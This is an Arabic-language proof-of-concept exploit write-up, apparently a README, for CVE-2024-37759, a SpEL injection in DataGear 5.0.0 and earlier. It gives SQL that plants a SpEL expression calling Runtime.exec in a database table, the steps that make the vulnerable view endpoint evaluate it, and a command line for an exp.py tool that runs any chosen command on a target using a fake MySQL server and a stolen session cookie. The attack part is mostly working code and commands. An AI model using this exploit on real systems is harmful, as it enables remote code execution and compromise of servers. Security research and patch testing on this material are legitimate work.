
استغلال لإثبات المفهوم لثغرة CVE-2024-37759، وهي ثغرة حقن SpEL في DataGear 5.0.0 والإصدارات الأقدم، تتيح تنفيذ تعليمات برمجية عن بُعد عبر جداول قاعدة بيانات مُصمّمة خصيصًا.
يوجد في DataGear الإصدار 5.0.0 والإصدارات الأقدم ثغرة حقن تعبير SpEL تؤدي إلى تنفيذ التعليمات البرمجية عن بُعد.
عند طلب واجهة /data/{schemaId}/{tableName}/view، إذا كان جدول قاعدة البيانات لا يحتوي على مفتاح أساسي، يمكن للمهاجم حقن تعبير SpEL خبيث في حقل data. عند النقر على زر "view"، سيتم تنفيذ تعبير SpEL.
لتنفيذ الهجوم، يمكنك إنشاء جدول قاعدة بيانات خبيث مثل هذا:
CREATE DATABASE evil;
CREATE TABLE `evil` (
`name` varchar(209) COLLATE utf8mb4_unicode_ci DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
INSERT INTO `evil` VALUES ("#{T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('calc')}");
بعد ذلك، سجّل الدخول وأضف قاعدة بيانات MySQL هذه في واجهة إضافة المخطط: /schema/saveAdd.
انقر بعدها على زر "view"، وسيتم تنفيذ تعبير SpEL.
هذا الاستغلال معدّل من MySQL_Fake_Server. أولاً، سجّل الدخول إلى البوابة واحصل على الكوكي "JSESSIONID". يمكنك بعد ذلك استخدام هذا الاستغلال لتنفيذ الأوامر تلقائيًا.
الوسيط -t يحدد الموقع المستهدف الضعيف، و-o يحدد عنوان IP العام الذي يمكن الوصول من خلاله إلى خادم MySQL الوهمي، و-p هو منفذ الخادم الوهمي، و-s هو قيمة الكوكي "JSESSIONID"، و-c يحدد الأمر الذي تريد تنفيذه.
python3.7 exp.py -t "http://localhost:50401" -o "192.168.25.130" -p "3306" -s "B751A41FBE8C3385B386B2365C2FB86D" -c "calc"